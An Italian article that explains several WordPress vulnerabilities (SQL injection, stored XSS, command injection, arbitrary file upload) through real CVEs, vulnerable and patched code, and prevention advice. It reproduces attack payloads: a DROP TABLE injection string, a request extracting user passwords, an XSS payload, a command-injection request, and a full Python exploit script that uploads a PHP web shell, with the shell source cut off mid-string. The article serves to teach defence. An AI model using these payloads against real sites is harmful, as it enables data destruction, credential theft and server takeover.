WordPress è uno dei CMS (Content Management System) più utilizzati al mondo, con oltre il 38% dei siti web che lo utilizzano come piattaforma. Sebbene sia un sistema di gestione dei contenuti ben progettato e utilizzabile, come qualsiasi piattaforma che gestisce informazioni importanti, WordPress presenta alcune vulnerabilità che possono essere utilizzate dagli hacker per compromettere i siti web. In questo articolo esploreremo le principali vulnerabilità di WordPress con alcuni esempi reali di recente scoperta.
SQL injection
L’SQL injection è una tecnica di attacco comune che sfrutta le vulnerabilità delle query SQL del database di WordPress. Gli hacker possono utilizzare questa tecnica per inserire codice malevolo nel database di WordPress, ottenere accesso non autorizzato ai dati e compromettere il sito web. Per prevenire l’SQL injection, è importante evitare di inserire codice SQL non validato e utilizzare plugin di sicurezza appositi.
Un esempio di sql injection è presente nel plugin LearnPress di WordPress (CVE-2022-45808) ed è riscontrabile nei segmenti di codice nelle linee 619-624 e 654-684 del file “inc/databases/class-lp-db.php”.
inc/databases/class-lp-db.php line 619-624
// Order by
$ORDER_BY = '';
if ( ! $filter->return_string_query && $filter->order_by ) {
$ORDER_BY .= 'ORDER BY ' . $filter->order_by . ' ' . $filter->order . ' ';
$ORDER_BY = apply_filters( 'lp/query/order_by', $ORDER_BY, $filter );
}inc/databases/class-lp-db.php line 654-684
// Query
$query = "SELECT $FIELDS FROM $COLLECTION AS $ALIAS_COLLECTION
$INNER_JOIN
$WHERE
$GROUP_BY
$ORDER_BY
$LIMIT
";
if ( $filter->return_string_query ) {
return $query;
} elseif ( ! empty( $filter->union ) ) {
$query = implode( ' UNION ', array_unique( $filter->union ) );
$query .= $GROUP_BY;
$query .= $ORDER_BY;
$query .= $LIMIT;
}
if ( ! $filter->query_count ) {
// Debug string query
if ( $filter->debug_string_query ) {
return $query;
}
$result = $this->wpdb->get_results( $query );
}
// Query total rows
$query = str_replace( array( $LIMIT, $ORDER_BY ), '', $query );
$query_total = "SELECT COUNT($filter->field_count) FROM ($query) AS $ALIAS_COLLECTION";
$total_rows = (int) $this->wpdb->get_var( $query_total );Nella prima sezione di codice, viene creato un’istruzione SQL con la variabile $ORDER_BY che viene concatenata con altri elementi per creare una query completa. Nella seconda sezione di codice, questa query viene eseguita senza alcuna verifica sulla validità dei dati inseriti dall’utente.
Un possibile exploit della vulnerabilità potrebbe essere l’inserimento di una stringa di codice SQL nel parametro $filter->order_by. Ad esempio, un utente malintenzionato potrebbe inserire il seguente codice SQL:
"1; DROP TABLE wp_users--".In questo modo, quando la query viene eseguita, la tabella “wp_users” viene eliminata dal database, cancellando tutti gli utenti del sito, compreso l’amministratore!
Un altro esempio, decisamente piu pericoloso, riguarda il core di WordPress 5.8.2 e precedenti, il quale presenta una vulnerabilità di tipo SQL Injection all’interno della classe WP_Query, permettendo ad un attaccante remoto di rivelare informazioni sensibili senza necessità di autenticazione.
Il problema nasce dalla mancanza di una valida validazione di una stringa fornita dall’utente, che viene utilizzata per costruire query SQL. Un attaccante può sfruttare questa vulnerabilità per rivelare credenziali memorizzate e compromettere ulteriormente il sistema.
È stata assegnata alla vulnerabilità il numero CVE-2022-21661 e per risolverla è necessario aggiornare la versione di WordPress alla 5.8.3 o superiore.
Il problema nasce dal file class-wp-tax-query.php nel quale è presente il seguente codice:
return;
}
$query['terms'] = array_unique( (array) $query['terms'] );
if ( is_taxonomy_hierarchical( $query['taxonomy'] ) && $query['include_children'] ) {
$this->transform_query( $query, 'term_id' );A seguito della patch, è diventato:
return;
}
if ( 'slug' === $query['field'] || 'name' === $query['field'] ) {
$query['terms'] = array_unique( (array) $query['terms'] );
} else {
$query['terms'] = wp_parse_id_list( $query['terms'] );
}
if ( is_taxonomy_hierarchical( $query['taxonomy'] ) && $query['include_children'] ) {
$this->transform_query( $query, 'term_id' );Il codice fornito introduce una modifica a una funzione che manipola query di taxonomy in WordPress, al fine di gestire in modo differente le richieste basate su differenti tipologie di query.
In particolare, la modifica riguarda il controllo della variabile query['terms'], che rappresenta i termini della query di taxonomy. Nella versione originale del codice, viene applicato il metodo array_unique() all’array dei termini, senza fare alcuna distinzione tra i differenti tipi di query.
Nella versione patchata, invece, viene eseguito un controllo preliminare sulla variabile query['field'], che rappresenta il campo di ricerca utilizzato nella query di taxonomy. Se il campo è “slug” o “name”, viene eseguito il controllo con array_unique(). Altrimenti, viene utilizzata la funzione wp_parse_id_list() per convertire la variabile in un array di interi, al fine di evitare la vulnerabilità.
Un esempio di richiesta che sfrutta la vulnerabilità è il seguente:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Upgrade-Insecure_Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.99
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Connection: close
Content-Type: application/x-www-form-urlencoded
action=<action_name>&nonce=a85a0c3bfa&query_vars={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["1'; SELECT user_login,user_pass FROM wp_users; #"]}}}Per prevenire questa vulnerabilità, è fondamentale validare e filtrare tutti i dati inseriti dagli utenti nelle query SQL.
Cross-site scripting (XSS)
L’XSS è un’altra tecnica di attacco comune che coinvolge l’inserimento di codice malevolo in un sito web tramite i campi di input. Questo tipo di attacco può essere utilizzato per rubare informazioni dei visitatori del sito web, come le credenziali di accesso, e compromettere il sito web. Per prevenire l’XSS, è importante utilizzare plugin di sicurezza appositi e validare tutti i dati di input.
La vulnerabilità XSS (Cross-Site Scripting) discussa (CVE-2022-21662) riguarda WordPress e si riferisce alla versione 5.8.2 e precedenti. In particolare, la vulnerabilità è di tipo Stored XSS, il che significa che un attaccante può iniettare del codice JavaScript dannoso che verrà poi salvato nel database. Successivamente, questo codice infetterà varie interfacce utente, come il pannello di amministrazione, consentendo all’attaccante di dirottare le sessioni dell’utente amministratore.
Per sfruttare questa vulnerabilità, sono necessari i privilegi dell’utente di ruolo “author”. Di default, questo ruolo può solo gestire i post, ma sfruttando la vulnerabilità, l’autore può elevare i suoi privilegi a quelli di un ruolo più potente e infine eseguire codice arbitrario sul server.
La vulnerabilità sfrutta la funzione _truncate_post_slug() in wp-includes/post.php. In particolare, la vulnerabilità si verifica perché la funzione usa la funzione PHP urldecode() per decodificare lo slug, ma utilizza una funzione diversa (utf8_uri_encode()) per ricodificarlo. Questo può causare una discrepanza tra ciò che viene decodificato e ciò che viene ricodificato.
4921 function _truncate_post_slug( $slug, $length = 200 ) {
4922 if ( strlen( $slug ) > $length ) {
4923 $decoded_slug = urldecode( $slug );
4924 if ( $decoded_slug === $slug ) {
4925 $slug = substr( $slug, 0, $length );
4926 } else {
4927 $slug = utf8_uri_encode( $decoded_slug, $length );
4928 }
4929 }
4931 return rtrim( $slug, '-' );La funzione _truncate_post_slug() viene chiamata principalmente nella funzione wp_unique_post_slug(), che si assicura che gli slug dei post siano univoci aggiungendo un suffisso numerico su duplicati. Durante il salvataggio di un post, se viene impostato uno slug che è già stato utilizzato per un altro post, la funzione calcola uno slug alternativo per garantire che gli slug alternativi non diventino troppo lunghi con il suffisso. Questo processo viene eseguito in wp_insert_post() dopo che tutte le operazioni di sanificazione sono state eseguite.
In particolare, l’attaccante può creare due post A e B, impostare lo slug di A con il payload JavaScript URL-encoded e alcuni caratteri di riempimento, e poi impostare lo slug di B con lo stesso valore di A. Quando si imposta lo slug per il secondo post B, il payload finisce decodificato nel database perché esiste già un post con lo stesso slug. Successivamente, wp_unique_post_slug() calcola uno slug alternativo chiamando _truncate_post_slug() e il payload decodificato viene salvato nel database.
L’attacco consiste nell’inserire un payload di JavaScript in un campo di input che successivamente viene salvato nel database di WordPress. Il payload è costituito da una stringa di testo che viene usata come il valore di un attributo HTML, in questo caso nell’esempio fornito, l’attributo è il tag HTML “input” e il valore è:
%22%2F%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3EZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZche decodificato diventa:
"/><script>alert(1)</script>.......si noti che lo script è preceduto da due apici e dalla chiusura del tag html, che servono affinchè il codice javascript sia correttamente eseguito.
In questo caso specifico, il payload di JavaScript consiste in un semplice alert. Tuttavia, in un attacco reale, il payload potrebbe essere molto più dannoso e potrebbe consentire all’attaccante di assumere il controllo completo del sito WordPress, ad esempio caricando plugin dannosi o eseguendo codice PHP arbitrario.
Remote Code Execution
La vulnerabilità RCE (Remote Code Execution) in WordPress si riferisce alla possibilità che un attaccante possa eseguire codice dannoso o modificare il codice del sito web da remoto, senza bisogno di avere accesso fisico al server. Questa vulnerabilità può essere sfruttata attraverso vari metodi, come l’inserimento di codice malevolo in plugin, temi o file di configurazione, oppure attraverso attacchi di cross-site scripting (XSS) o injection di SQL. Una volta che l’attaccante riesce ad eseguire il codice sul sito web, può accedere a dati sensibili, installare malware o compromettere l’integrità del sito, creando così gravi problemi di sicurezza.
Un esempio di questa vulnerabilità riguarda il plugin ImageMagick-Engine per WordPress (CVE-2022-3568), nelle versioni fino alla 1.7.4, che consente l’esecuzione remota di codice (RCE) solo per utenti autenticati. L’exploit consiste nell’invio di una richiesta HTTP a un’URL specifico che utilizza il parametro “cli_path” per eseguire un payload.
GET /wp/wordpress/wp-admin/admin-ajax.php?action=ime_test_im_path&cli_path=notify-send%20"done"
HTTP/1.1
Host: localhost
Cookie: wordpress_sec_xx=; wp-settings-time-1=;
wordpress_test_cookie=; wordpress_logged_in_xx=somestuff
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0)
Gecko/20100101 Firefox/104.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://localhost/wp/wordpress/wp-admin/options-general.php?page=imagemagick-engine
X-Requested-With: XMLHttpRequest
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: closeLa vulnerabilità nel codice fornito è la mancanza di validazione dell’input fornito nel parametro fullpath della funzione “ime_is_executable”. Attualmente, la funzione restituisce il risultato dell’esecuzione del comando “where” (per Windows) o “which” (per Unix) sul percorso completo fornito.
function ime_is_executable($fullpath) {
$whereIsCommand = (PHP_OS == 'WINNT') ? 'where' : 'which';
return `$whereIsCommand $fullpath`;
}Nella richiesta fornita, il parametro fullpath viene impostato su “notify-send ‘done'”, che è un comando valido per i sistemi Unix. Tuttavia, poiché la funzione non effettua alcuna validazione sull’input, l’attaccante potrebbe inserire qualsiasi comando valido per il sistema operativo (quindi anche per Windows) e la funzione lo eseguirebbe senza alcun controllo.
Questo potrebbe consentire all’attaccante di eseguire codice arbitrario sul server, a seconda dei permessi dell’utente che esegue il server web. Ad esempio, se l’utente che esegue il server web ha privilegi elevati, l’attaccante potrebbe eseguire comandi per modificare o eliminare file o interrompere il funzionamento del server.
Per risolvere questa vulnerabilità, è necessario validare attentamente l’input fornito nella funzione “ime_is_executable” per garantire che contenga solo comandi validi e non rappresenti un rischio per la sicurezza del sistema, come è stato fatto con il rilascio della successiva patch che risolve il problema:
function ime_is_executable($fullpath) {
$whereIsCommand = (PHP_OS == 'WINNT') ? 'where' : 'which';
return function_exists('shell_exec') ? `$whereIsCommand $fullpath` : @is_executable($fullpath);
}File upload non controllati
I plugin di WordPress consentono agli utenti di caricare file sul sito web, come immagini, video e documenti. Tuttavia, se questi file non sono adeguatamente controllati, possono contenere codice malevolo che compromette il sito web.
Un esempio di file upload vulnerability è la CVE-2021-24145 nella versione 5.16.2 del plugin WordPress Modern Events Calendar Lite. La vulnerabilità permette l’upload arbitrario di file, consentendo agli amministratori di caricare file PHP tramite l’utilizzo del tipo di contenuto ‘text/csv’ nella richiesta.
# Exploit Title: WordPress Plugin Modern Events Calendar 5.16.2 - Remote Code Execution (Authenticated)
# Date 01.07.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://webnus.net/modern-events-calendar/
# Software Link: https://downloads.wordpress.org/plugin/modern-events-calendar-lite.5.16.2.zip
# Version: Before 5.16.5
# Tested on: Ubuntu 18.04
# CVE: CVE-2021-24145
# CWE: CWE-434
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24145/README.md
'''
Description:
Arbitrary file upload in the Modern Events Calendar Lite WordPress plugin, versions before 5.16.5,
did not properly check the imported file, allowing PHP ones to be uploaded by administrator by using the 'text/csv'
content-type in the request.
'''
'''
Banner:
'''
banner = """
______ _______ ____ ___ ____ _ ____ _ _ _ _ _ ____
/ ___\ \ / / ____| |___ \ / _ \___ \/ | |___ \| || | / | || || ___|
| | \ \ / /| _| _____ __) | | | |__) | |_____ __) | || |_| | || ||___ \
| |___ \ V / | |__|_____/ __/| |_| / __/| |_____/ __/|__ _| |__ _|__) |
\____| \_/ |_____| |_____|\___/_____|_| |_____| |_| |_| |_||____/
* WordPress Plugin Modern Events Calendar Lite RCE
* @Hacker5preme
"""
print(banner)
'''
Import required modules:
'''
import requests
import argparse
'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='Wordpress Plugin Modern Events Calenar Lite RCE (Authenticated)')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
my_parser.add_argument('-u', '--USERNAME', type=str)
my_parser.add_argument('-p', '--PASSWORD', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
wp_path = args.PATH
username = args.USERNAME
password = args.PASSWORD
print('')
'''
Authentication:
'''
session = requests.Session()
auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'
# Header:
header = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://' + target_ip,
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
# Body:
body = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'testcookie': '1'
}
# Authenticate:
print('')
auth = session.post(auth_url, headers=header, data=body)
auth_header = auth.headers['Set-Cookie']
if 'wordpress_logged_in' in auth_header:
print('[+] Authentication successfull !')
else:
print('[-] Authentication failed !')
exit()
'''
Exploit:
'''
exploit_url = "http://" + target_ip + ':' + target_port + wp_path + "wp-admin/admin.php?page=MEC-ix&tab=MEC-import"
# Exploit Header:
header = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "de,en-US;q=0.7,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "multipart/form-data; boundary=---------------------------29650037893637916779865254589",
"Origin": "http://" + target_ip,
"Connection": "close",
"Upgrade-Insecure-Requests": "1"
}
# Exploit Body: (using p0wny shell: https://github.com/flozz/p0wny-shell
body = "-----------------------------29650037893637916779865254589\r\nContent-Disposition: form-data; name=\"feed\"; filename=\"shell.php\"\r\nContent-Type: text/csv\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n $stdout = array();\n\n if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n // pass\n } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n chdir($match[1]);\n } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n return featureDownload($match[1]);\n } else {\n chdir($cwd);\n exec($cmd, $stdout);\n }\n\n return array(\n \"stdout\" => $stdout,\n \"cwd\" => getcwd()\n );\n}\n\nfunction featurePwd() {\n return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n chdir($cwd);\n if ($type == 'cmd') {\n $cmd = \"compgen -c $fileName\";\n } else {\n $cmd = \"compgen -f $fileName\";\n }\n $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n $files = explode(\"\\n\", shell_exec($cmd));\n return array(\n 'files' => $files,\n );\n}\n\nfunction featureDownload($filePath) {\n $file = @file_get_contents($filePath);\n if ($file === FALSE) {\n return array(\n 'stdout' => array('File not found / no read permission.'),\n 'cwd' => getcwd()\n );\n } else {\n return array(\n 'name' => basename($filePath),\n 'file' => base64_encode($file)\n );\n }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n chdir($cwd);\n $f = @fopen($path, 'wb');\n if ($f === FALSE) {\n return array(\n 'stdout' => array('Invalid path / no write permission.'),\n 'cwd' => getcwd()\n );\n } else {\n fwrite($f, base64_decode($file));\n fclose($f);\n return array(\n 'stdout' => array('Done.'),\n 'cwd' => getcwd()\n );\n }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n $response = NULL;\n\n switch ($_GET[\"feature\"]) {\n case \"shell\":\n $cmd = $_POST['cmd'];\n if (!preg_match('/2>/', $cmd)) {\n $cmd .= ' 2>&1';\n }\n $response = featureShell($cmd, $_POST[\"cwd\"]);\n break;\n case \"pwd\":\n $response = featurePwd();\n break;\n case \"hint\":\n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n break;\n case 'upload':\n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n }\n\n header(\"Content-Type: application/json\");\n echo json_encode($response);\n die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n <head>\n <meta charset=\"UTF-8\" />\n <title>p0wny@shell:~#</title>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n <style>\n html, body {\n margin: 0;\n padding: 0;\n background: #333;\n color: #eee;\n font-family: monospace;\n }\n\n *::-webkit-scrollbar-track {\n border-radius: 8px;\n background-color: #353535;\n }\n\n *::-webkit-scrollbar {\n width: 8px;\n height: 8px;\n }\n\n *::-webkit-scrollbar-thumb {\n border-radius: 8px;\n -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n background-color: #bcbcbc;\n }\n\n #shell {\n background: #222;\n max-width: 800px;\n margin: 50px auto 0 auto;\n box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n font-size: 10pt;\n display: flex;\n
# Exploit
session.post(exploit_url, headers=header, data=body)
print('')
print('[+] Shell Uploaded to: ' + 'http://' + target_ip + ':' + target_port + wp_path + '/wp-content/uploads/shell.php')
print('')
Il codice sfrutta questa vulnerabilità per eseguire codice PHP sul server di destinazione, tramite l’inserimento di uno shell script PHP all’interno del file CSV caricato. Il codice sfrutta la libreria requests per effettuare richieste HTTP.
Il codice richiede diversi input dall’utente, come l’indirizzo IP e la porta del sito di destinazione, il percorso del plugin, l’username e la password per effettuare l’autenticazione. Una volta autenticati, l’exploit invia una richiesta POST al sito di destinazione, caricando lo script PHP dannoso tramite l’endpoint del plugin che presenta la vulnerabilità.
In generale, l’exploit esegue le seguenti operazioni:
- Importazione dei moduli richiesti.
- Acquisizione dei parametri dell’utente tramite la libreria argparse.
- Autenticazione sul sito di destinazione tramite richiesta POST.
- Invio della richiesta POST per caricare lo script PHP all’interno del plugin.
- Il server di destinazione esegue lo script PHP caricato, che può eseguire codice dannoso sul server stesso.
È importante utilizzare plugin di sicurezza appositi e limitare i tipi di file che gli utenti possono caricare.
In conclusione, WordPress è una piattaforma di gestione dei contenuti molto utilizzata e affidabile per la creazione di siti web, ma è importante prestare attenzione alle vulnerabilità di sicurezza e adottare le misure appropriate per prevenirle. Utilizzando password forti, aggiornando regolarmente i plugin e i temi, proteggendo i file di configurazione, prevenendo i tipi comuni di attacchi e utilizzando plugin di sicurezza appositi, è possibile mantenere il proprio sito web di WordPress sicuro e protetto.